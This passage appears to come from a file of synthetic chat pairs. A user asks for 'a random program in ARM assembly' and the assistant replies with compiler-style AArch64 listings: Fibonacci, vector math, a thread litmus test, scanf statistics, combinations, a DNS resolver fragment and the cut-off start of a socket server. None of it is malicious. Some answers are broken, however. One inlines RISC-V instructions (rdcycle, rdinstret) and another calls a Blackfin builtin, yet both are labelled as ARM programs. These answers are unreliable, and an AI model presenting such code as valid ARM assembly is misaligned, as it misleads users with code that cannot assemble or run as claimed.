str w0, [sp, 64]
ldr w0, [sp, 64]
cmp w0, 0
bge .L81
bl __errno_location
ldr w0, [x0]
cmp w0, 4
beq .L81
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 39
mov x1, 1
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl fwrite
bl abort
.L81:
ldr w0, [sp, 64]
cmp w0, 0
bne .L82
mov w0, -1
str w0, [sp, 64]
.L82:
ldr w0, [sp, 64]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 120]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L84
bl __stack_chk_fail
.L84:
mov w0, w1
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size send_recv_message, .-send_recv_message
.align 2
.global resolve
.type resolve, %function
resolve:
.LFB16:
.cfi_startproc
sub sp, sp, #1104
.cfi_def_cfa_offset 1104
stp x29, x30, [sp]
.cfi_offset 29, -1104
.cfi_offset 30, -1096
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1096]
mov x1, 0
mov x0, 1024
bl malloc
str x0, [sp, 48]
mov x0, 1024
bl malloc
str x0, [sp, 56]
add x0, sp, 72
mov x2, x0
mov w1, 1
ldr x0, [sp, 24]
bl create_dns_query
and w0, w0, 65535
str w0, [sp, 40]
add x0, sp, 72
mov w4, 53
ldr x3, [sp, 16]
ldr x2, [sp, 48]
ldr w1, [sp, 40]
bl send_recv_message
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bgt .L86
adrp x0, .LC9
add x0, x0, :lo12:.LC9
b .L89
.L86:
ldr x3, [sp, 56]
ldr x2, [sp, 48]
mov w1, 1
ldr x0, [sp, 24]
bl get_answer_address
str x0, [sp, 64]
ldr x0, [sp, 48]
bl free
ldr x0, [sp, 64]
cmp x0, 0
bne .L88
adrp x0, .LC9
add x0, x0, :lo12:.LC9
b .L89
.L88:
ldr x0, [sp, 56]
.L89:
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 1096]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L90
bl __stack_chk_fail
.L90:
mov x0, x1
ldp x29, x30, [sp]
add sp, sp, 1104
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size resolve, .-resolve
.section .rodata
.align 3
.LC15:
.string "Usage: %s <domain name> <server>\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr w0, [sp, 28]
cmp w0, 2
bgt .L92
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x0, [sp, 16]
ldr x0, [x0]
mov x2, x0
adrp x0, .LC15
add x1, x0, :lo12:.LC15
mov x0, x3
bl fprintf
mov w0, 1
bl exit
.L92:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x2, [x0]
ldr x0, [sp, 16]
add x0, x0, 16
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl resolve
str x0, [sp, 40]
mov w0, 0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type fib, %function
fib:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -32
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 1
ble .L2
ldr w0, [sp, 44]
sub w0, w0, #1
bl fib
mov w19, w0
ldr w0, [sp, 44]
sub w0, w0, #2
bl fib
add w0, w19, w0
b .L4
.L2:
ldr w0, [sp, 44]
.L4:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size fib, .-fib
.section .rodata
.align 3
.LC0:
.string "APP: Fibonacci starting..."
.align 3
.LC1:
.string "APP: fib(%d) = %d\n"
.align 3
.LC2:
.string "APP: finishing..."
.text
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
str wzr, [sp, 28]
b .L6
.L7:
ldr w0, [sp, 28]
bl fib
mov w2, w0
ldr w1, [sp, 28]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L6:
ldr w0, [sp, 28]
cmp w0, 29
ble .L7
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global time
.type time, %function
time:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 29 "program.c" 1
rdcycle x0
// 0 "" 2
#NO_APP
str w0, [sp, 12]
ldrsw x0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size time, .-time
.align 2
.global insn
.type insn, %function
insn:
.LFB1:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 37 "program.c" 1
rdinstret x0
// 0 "" 2
#NO_APP
str w0, [sp, 12]
ldrsw x0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size insn, .-insn
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "a"
.align 3
.LC1:
.string "d:\\area.txt"
.align 3
.LC2:
.string "%f\n"
.align 3
.LC3:
.string "the fx is %f if the x is %d\n"
.align 3
.LC4:
.string "notepad d:\\area.txt"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str wzr, [sp, 16]
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl fopen
str x0, [sp, 24]
mov w0, 1
str w0, [sp, 16]
b .L2
.L3:
ldr w0, [sp, 16]
fmov s0, w0
shl v0.2s, v0.2s, 1
scvtf s0, s0
str s0, [sp, 20]
ldr s0, [sp, 20]
fcvt d0, s0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr s0, [sp, 20]
fcvt d0, s0
ldr w2, [sp, 16]
adrp x0, .LC3
add x1, x0, :lo12:.LC3
ldr x0, [sp, 24]
bl fprintf
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L2:
ldr w0, [sp, 16]
cmp w0, 10
ble .L3
ldr x0, [sp, 24]
bl fclose
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl system
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.align 2
.global funArea
.type funArea, %function
funArea:
.LFB7:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
ldr s0, [sp, 12]
fcvt d0, s0
adrp x0, .LC5
ldr d1, [x0, #:lo12:.LC5]
fmul d1, d0, d1
ldr s0, [sp, 12]
fcvt d0, s0
fmul d0, d1, d0
fcvt s0, d0
str s0, [sp, 28]
ldr s0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size funArea, .-funArea
.section .rodata
.align 3
.LC5:
.word 1374389535
.word 1074339512
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w1, 12288
movk w1, 0xc000, lsl 16
mov w0, 12288
movk w0, 0x4000, lsl 16
bl __builtin_bfin_sub_fr1x32
sxtw x0, w0
str x0, [sp, 24]
ldr x1, [sp, 24]
mov x0, 2147483647
cmp x1, x0
beq .L2
bl abort
.L2:
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global vectorSum
.type vectorSum, %function
vectorSum:
.LFB0:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
fmov d4, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d4
fmov x1, d0
stp x0, x1, [sp, 16]
fmov d1, d2
fmov d0, d3
mov x0, 0
mov x1, 0
fmov x0, d1
fmov x1, d0
stp x0, x1, [sp]
ldr d1, [sp, 16]
ldr d0, [sp]
fadd d0, d1, d0
str d0, [sp, 16]
ldr d1, [sp, 24]
ldr d0, [sp, 8]
fadd d0, d1, d0
str d0, [sp, 24]
ldp x0, x1, [sp, 16]
mov x2, x0
mov x3, x1
fmov d0, x2
fmov d1, x1
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size vectorSum, .-vectorSum
.align 2
.global vectorDiff
.type vectorDiff, %function
vectorDiff:
.LFB1:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
fmov d4, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d4
fmov x1, d0
stp x0, x1, [sp, 16]
fmov d1, d2
fmov d0, d3
mov x0, 0
mov x1, 0
fmov x0, d1
fmov x1, d0
stp x0, x1, [sp]
ldr d1, [sp, 16]
ldr d0, [sp]
fsub d0, d1, d0
str d0, [sp, 16]
ldr d1, [sp, 24]
ldr d0, [sp, 8]
fsub d0, d1, d0
str d0, [sp, 24]
ldp x0, x1, [sp, 16]
mov x2, x0
mov x3, x1
fmov d0, x2
fmov d1, x1
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size vectorDiff, .-vectorDiff
.align 2
.global vectorIncrement
.type vectorIncrement, %function
vectorIncrement:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
fmov d2, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d2
fmov x1, d0
stp x0, x1, [sp, 24]
ldr d2, [sp, 24]
ldr d3, [sp, 32]
ldr x0, [sp, 40]
ldr d0, [x0]
ldr d1, [x0, 8]
bl vectorSum
fmov d2, d0
fmov d0, d1
ldr x0, [sp, 40]
str d2, [x0]
str d0, [x0, 8]
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size vectorIncrement, .-vectorIncrement
.align 2
.global vectorDecrement
.type vectorDecrement, %function
vectorDecrement:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
fmov d2, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d2
fmov x1, d0
stp x0, x1, [sp, 24]
ldr d2, [sp, 24]
ldr d3, [sp, 32]
ldr x0, [sp, 40]
ldr d0, [x0]
ldr d1, [x0, 8]
bl vectorDiff
fmov d2, d0
fmov d0, d1
ldr x0, [sp, 40]
str d2, [x0]
str d0, [x0, 8]
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size vectorDecrement, .-vectorDecrement
.align 2
.global vectorEqual
.type vectorEqual, %function
vectorEqual:
.LFB4:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
fmov d4, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d4
fmov x1, d0
stp x0, x1, [sp, 16]
fmov d1, d2
fmov d0, d3
mov x0, 0
mov x1, 0
fmov x0, d1
fmov x1, d0
stp x0, x1, [sp]
ldr d1, [sp, 16]
ldr d0, [sp]
fcmp d1, d0
bne .L8
ldr d1, [sp, 24]
ldr d0, [sp, 8]
fcmp d1, d0
bne .L8
mov w0, 1
b .L10
.L8:
mov w0, 0
.L10:
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE4:
.size vectorEqual, .-vectorEqual
.align 2
.global vectorLen
.type vectorLen, %function
vectorLen:
.LFB5:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
fmov d2, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d2
fmov x1, d0
stp x0, x1, [sp, 16]
ldr d0, [sp, 16]
ldr d1, [sp, 24]
bl hypot
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size vectorLen, .-vectorLen
.section .rodata
.align 3
.LC0:
.string "(%g, %g)"
.text
.align 2
.global vectorPrint
.type vectorPrint, %function
vectorPrint:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
fmov d2, d0
fmov d0, d1
mov x0, 0
mov x1, 0
fmov x0, d2
fmov x1, d0
stp x0, x1, [sp, 16]
ldr d0, [sp, 16]
ldr d1, [sp, 24]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size vectorPrint, .-vectorPrint
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global vars
.bss
.align 3
.type vars, %object
.size vars, 8
vars:
.zero 8
.global atom_0_r3_2
.align 2
.type atom_0_r3_2, %object
.size atom_0_r3_2, 4
atom_0_r3_2:
.zero 4
.global atom_2_r3_0
.align 2
.type atom_2_r3_0, %object
.size atom_2_r3_0, 4
atom_2_r3_0:
.zero 4
.text
.align 2
.global t0
.type t0, %function
t0:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
.L2:
adrp x0, vars
add x0, x0, :lo12:vars
str x0, [sp, 48]
mov w0, 1
str w0, [sp, 32]
ldr w0, [sp, 32]
mov w1, w0
ldr x0, [sp, 48]
stlr w1, [x0]
adrp x0, vars
add x0, x0, :lo12:vars
str x0, [sp, 56]
ldr x0, [sp, 56]
ldar w0, [x0]
str w0, [sp, 32]
ldr w0, [sp, 32]
str w0, [sp, 36]
mov w0, 1
str w0, [sp, 40]
ldr w0, [sp, 40]
cmp w0, 0
nop
.L4:
adrp x0, vars+4
add x0, x0, :lo12:vars+4
str x0, [sp, 64]
mov w0, 1
str w0, [sp, 32]
ldr w0, [sp, 32]
mov w1, w0
ldr x0, [sp, 64]
stlr w1, [x0]
adrp x0, vars+4
add x0, x0, :lo12:vars+4
str x0, [sp, 72]
mov w0, 2
str w0, [sp, 32]
ldr w0, [sp, 32]
mov w1, w0
ldr x0, [sp, 72]
stlr w1, [x0]
ldr w0, [sp, 36]
cmp w0, 2
cset w0, eq
and w0, w0, 255
str w0, [sp, 44]
adrp x0, atom_0_r3_2
add x0, x0, :lo12:atom_0_r3_2
str x0, [sp, 80]
ldr w0, [sp, 44]
str w0, [sp, 32]
ldr w0, [sp, 32]
mov w1, w0
ldr x0, [sp, 80]
stlr w1, [x0]
mov x0, 0
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 88]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L6
bl __stack_chk_fail
.L6:
mov x0, x1
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size t0, .-t0
.align 2
.global t1
.type t1, %function
t1:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
.L8:
adrp x0, vars
add x0, x0, :lo12:vars
str x0, [sp, 48]
mov w0, 2
str w0, [sp, 44]
ldr w0, [sp, 44]
mov w1, w0
ldr x0, [sp, 48]
stlr w1, [x0]
mov x0, 0
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L10
bl __stack_chk_fail
.L10:
mov x0, x1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size t1, .-t1
.align 2
.global t2
.type t2, %function
t2:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
.L12:
adrp x0, vars+4
add x0, x0, :lo12:vars+4
str x0, [sp, 48]
mov w0, 3
str w0, [sp, 36]
ldr w0, [sp, 36]
mov w1, w0
ldr x0, [sp, 48]
stlr w1, [x0]
adrp x0, vars
add x0, x0, :lo12:vars
str x0, [sp, 56]
ldr x0, [sp, 56]
ldar w0, [x0]
str w0, [sp, 36]
ldr w0, [sp, 36]
str w0, [sp, 40]
ldr w0, [sp, 40]
cmp w0, 0
cset w0, eq
and w0, w0, 255
str w0, [sp, 44]
adrp x0, atom_2_r3_0
add x0, x0, :lo12:atom_2_r3_0
str x0, [sp, 64]
ldr w0, [sp, 44]
str w0, [sp, 36]
ldr w0, [sp, 36]
mov w1, w0
ldr x0, [sp, 64]
stlr w1, [x0]
mov x0, 0
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L14
bl __stack_chk_fail
.L14:
mov x0, x1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size t2, .-t2
.section .rodata
.align 3
.LC0:
.string "program.c"
.align 3
.LC1:
.string "0"
.text
.align 2
.global main
.type main, %function
main:
.LFB3:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
adrp x0, vars+4
add x0, x0, :lo12:vars+4
str x0, [sp, 96]
str wzr, [sp, 88]
ldr w0, [sp, 88]
mov w1, w0
ldr x0, [sp, 96]
str w1, [x0]
adrp x0, vars
add x0, x0, :lo12:vars
str x0, [sp, 104]
str wzr, [sp, 88]
ldr w0, [sp, 88]
mov w1, w0
ldr x0, [sp, 104]
str w1, [x0]
adrp x0, atom_0_r3_2
add x0, x0, :lo12:atom_0_r3_2
str x0, [sp, 112]
str wzr, [sp, 88]
ldr w0, [sp, 88]
mov w1, w0
ldr x0, [sp, 112]
str w1, [x0]
adrp x0, atom_2_r3_0
add x0, x0, :lo12:atom_2_r3_0
str x0, [sp, 120]
str wzr, [sp, 88]
ldr w0, [sp, 88]
mov w1, w0
ldr x0, [sp, 120]
str w1, [x0]
add x4, sp, 72
mov x3, 0
adrp x0, t0
add x2, x0, :lo12:t0
mov x1, 0
mov x0, x4
bl pthread_create
add x4, sp, 80
mov x3, 0
adrp x0, t1
add x2, x0, :lo12:t1
mov x1, 0
mov x0, x4
bl pthread_create
add x4, sp, 88
mov x3, 0
adrp x0, t2
add x2, x0, :lo12:t2
mov x1, 0
mov x0, x4
bl pthread_create
ldr x0, [sp, 72]
mov x1, 0
bl pthread_join
ldr x0, [sp, 80]
mov x1, 0
bl pthread_join
ldr x0, [sp, 88]
mov x1, 0
bl pthread_join
adrp x0, vars+4
add x0, x0, :lo12:vars+4
str x0, [sp, 128]
ldr x0, [sp, 128]
ldar w0, [x0]
str w0, [sp, 44]
ldr w0, [sp, 44]
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 3
cset w0, eq
and w0, w0, 255
str w0, [sp, 52]
adrp x0, atom_0_r3_2
add x0, x0, :lo12:atom_0_r3_2
str x0, [sp, 136]
ldr x0, [sp, 136]
ldar w0, [x0]
str w0, [sp, 44]
ldr w0, [sp, 44]
str w0, [sp, 56]
adrp x0, atom_2_r3_0
add x0, x0, :lo12:atom_2_r3_0
str x0, [sp, 144]
ldr x0, [sp, 144]
ldar w0, [x0]
str w0, [sp, 44]
ldr w0, [sp, 44]
str w0, [sp, 60]
ldr w1, [sp, 56]
ldr w0, [sp, 60]
and w0, w1, w0
str w0, [sp, 64]
ldr w1, [sp, 52]
ldr w0, [sp, 64]
and w0, w1, w0
str w0, [sp, 68]
ldr w0, [sp, 68]
cmp w0, 1
bne .L16
adrp x0, __PRETTY_FUNCTION__.0
add x3, x0, :lo12:__PRETTY_FUNCTION__.0
mov w2, 67
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __assert_fail
.L16:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 152]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L18
bl __stack_chk_fail
.L18:
mov w0, w1
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size main, .-main
.section .rodata
.align 3
.type __PRETTY_FUNCTION__.0, %object
.size __PRETTY_FUNCTION__.0, 5
__PRETTY_FUNCTION__.0:
.string "main"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d"
.align 3
.LC1:
.string "%.3f\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 24]
str wzr, [sp, 28]
str wzr, [sp, 32]
str wzr, [sp, 36]
add x0, sp, 16
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
str wzr, [sp, 24]
b .L2
.L6:
add x0, sp, 20
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 20]
cmp w0, 0
ble .L3
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
b .L4
.L3:
ldr w0, [sp, 20]
cmp w0, 0
bge .L5
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
b .L4
.L5:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L4:
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L2:
ldr w0, [sp, 16]
ldr w1, [sp, 24]
cmp w1, w0
blt .L6
ldr s0, [sp, 32]
scvtf s1, s0
ldr s0, [sp, 16]
scvtf s0, s0
fdiv s0, s1, s0
fcvt d0, s0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr s0, [sp, 28]
scvtf s1, s0
ldr s0, [sp, 16]
scvtf s0, s0
fdiv s0, s1, s0
fcvt d0, s0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr s0, [sp, 36]
scvtf s1, s0
ldr s0, [sp, 16]
scvtf s0, s0
fdiv s0, s1, s0
fcvt d0, s0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L8
bl __stack_chk_fail
.L8:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d%d"
.align 3
.LC1:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
add x1, sp, 20
add x0, sp, 16
mov x2, x1
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 16]
ldr w1, [sp, 20]
bl comb_num
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.align 2
.global comb_num
.type comb_num, %function
comb_num:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -32
str w0, [sp, 44]
str w1, [sp, 40]
ldr w1, [sp, 44]
ldr w0, [sp, 40]
cmp w1, w0
blt .L5
ldr w0, [sp, 44]
cmp w0, 0
ble .L5
ldr w0, [sp, 40]
cmp w0, 0
bgt .L6
.L5:
mov w0, 0
b .L7
.L6:
ldr w0, [sp, 40]
cmp w0, 1
bne .L8
ldr w0, [sp, 44]
b .L7
.L8:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
bne .L9
mov w0, 1
b .L7
.L9:
ldr w0, [sp, 44]
sub w0, w0, #1
ldr w1, [sp, 40]
bl comb_num
mov w19, w0
ldr w0, [sp, 44]
sub w2, w0, #1
ldr w0, [sp, 40]
sub w0, w0, #1
mov w1, w0
mov w0, w2
bl comb_num
add w0, w19, w0
.L7:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size comb_num, .-comb_num
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Listening on port: %d\n"
.align 3
.LC1:
.string "\nrecv client data...n"
.align 3
.LC2:
.string "IP is %s\n"
.align 3
.LC3:
.string "Port is %d\n"
.align 3
.LC4:
.string "recv error."
.align 3
.LC5:
.string "buffer=%s,iDataNum=%d\n"
.align 3
.LC6:
.string "222 buffer=%s\n"
.align 3
.LC7:
.string "quit"
.align 3
.LC8:
.string "%ld recv data is %s\n"
.align 3
.LC9:
.string "socket init error."
.align 3
.LC10:
.string "connect error."
.align 3
.LC11:
.string "listen error."
.align 3
.LC12:
.string "accept error."
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -288]!
.cfi_def_cfa_offset 288
.cfi_offset 29, -288
.cfi_offset 30, -280
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
